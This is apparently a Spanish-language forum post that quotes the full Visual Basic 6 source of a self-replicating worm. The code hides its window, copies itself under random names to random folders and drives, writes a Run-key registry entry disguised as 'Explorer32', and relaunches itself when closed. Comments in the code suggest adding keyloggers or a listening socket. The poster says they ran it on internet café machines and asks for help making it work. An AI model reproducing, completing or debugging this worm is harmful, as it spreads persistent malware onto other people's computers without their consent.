Ola como andan? bueno, estuve buscando y encontre esto::
'ADVERTENCIA: este simple programa es muy peligroso una vez
'ejecutado, corralo bajo su propio riesgo.
'Este Codigo se difunde unicamente con fines didacticos
'aca no se borra no se sobreescribe no se sniffea no se
'abren puertos solo se muestra como un gusano se reproduce
'A MI ME MOLESTAN LOS VIRUS Y GUSANOS EN MI PC
'ASI QUE ES SU RESPONSABILIDAD LO QUE HAGA DE EL
'esta cosa fue escrita por BillyTheKid
'
Dim carpeta
Public Sub CargarV(ByVal Ffile As String)
On Error Resume Next
'esta funcioncilla hace que el gusanito se meta en el registro
'de windows, asi cada vez que se prenda el sistema, estaremos ON-LINE
Dim objNew As Object
Set objNew = CreateObject("WScript.Shell")
'creando el abjeto "en modo tardio", nos aseguramos para que
'no falle, por si la biblioteca WScript no estuviese instalada.
'Un virus con OCX esta muy expuesto a fallos
objNew.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\run\Explorer32", Ffile
'averiguen como lo pueden cargar como servicio
'eso si es mejor y tambien muy facil..... 1 renglon de codigo...
'pistas... objNew.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersio..........
End Sub
Private Sub Dir1_Change()
On Error Resume Next
Randomize
'contamos las carpetas de la unidad seleccionada
NroCarpetas = Dir1.ListCount - 1
'ahora elegimos una al azar
carpeta = Int((NroCarpetas * Rnd) + 1)
Dir1.ListIndex = carpeta
'esta rutina decide si busca una subcarpeta
If Int((10 * Rnd) + 1) > 2 Then
Dir1.Path = Dir1.List(carpeta)
End If
'esta es la carpeta donde se copiara el gusanito
carpeta = Dir1.Path
End Sub
Private Sub Drive1_Change()
On Error Resume Next
Dir1.Path = Drive1.Drive
End Sub
Private Sub Form_Load()
On Error Resume Next
'obviamente ocultamos la ventana
Me.Visible = False
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
On Error Resume Next
'por si nos sacan con Ctrl + Del Nos volvemos a ejecutar
'ADVERTENCIA una vez en ejecucion este gusanito es muy muy dificil de sacar
Shell App.Path & "\" & App.EXEName & ".exe"
'nos "Matriculamos" una vez mas por si nos sacan con msconfig - o con HackThis - etc
CargarV NuevoGusano
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
'llamamos a la funcion que nos da una carpeta
'donde nos copiaremos, ademas cada copia tendra un nombre diferente
UbicarCopia
NuevoGusano = App.Path & carpeta & "\" & crearNombre
FileCopy App.Path & "\" & App.EXEName & ".exe", NuevoGusano
'una vez copiados nos "Matriculamos" en el registro de windows
CargarV NuevoGusano
'ahora solo falta ejecutar el nuevo Gusanito Recien nacido
'larga vida al chiquitin...
Shell NuevoGusano
'seria mas de elite usar ShellExecute pero esto solo es basico
'aca pueden ir rutinas varias, como uso de correo, keyloggers
'borrado de files, etc....... pero eso sera otro dia.
'alguien de Elite prefiere en este punto agregar un Winsock
'y dejarlo en escucha de peticiones ....pero eso seria un
'troyano y no un gusanito.
End Sub
Function UbicarCopia() As String
On Error Resume Next
'esta rutina selecciona una unidad para
'la proxima copia..perdon Reproduccion del gusanito
Randomize
NroUnidades = Drive1.ListCount - 1
disco = Int((NroUnidades * Rnd) + 1)
Drive1.ListIndex = disco
End Function
Function crearNombre() As String
On Error Resume Next
'esta funcion genera un nombre de 10 letras en uppercase(minusculas)
Randomize
For i = 1 To 10
letra = Int((24 * Rnd) + 65)
crearNombre = crearNombre & Chr(letra)
Next
crearNombre = crearNombre & ".exe"
End Function
...pero tengo algunas dudas...
* si el formulario no es visible ¿como se va a producir el evento Change del dir1 y del Drive1
luego pense en poner un Timer para q c/ x intervalo llame a Dir1_Change, pero lo hice y lo probe en un ciber y no funciono
x ahi es una pabada pero no me doy cuenta x favor si me pueden ayudar se los agradeceria..
Autor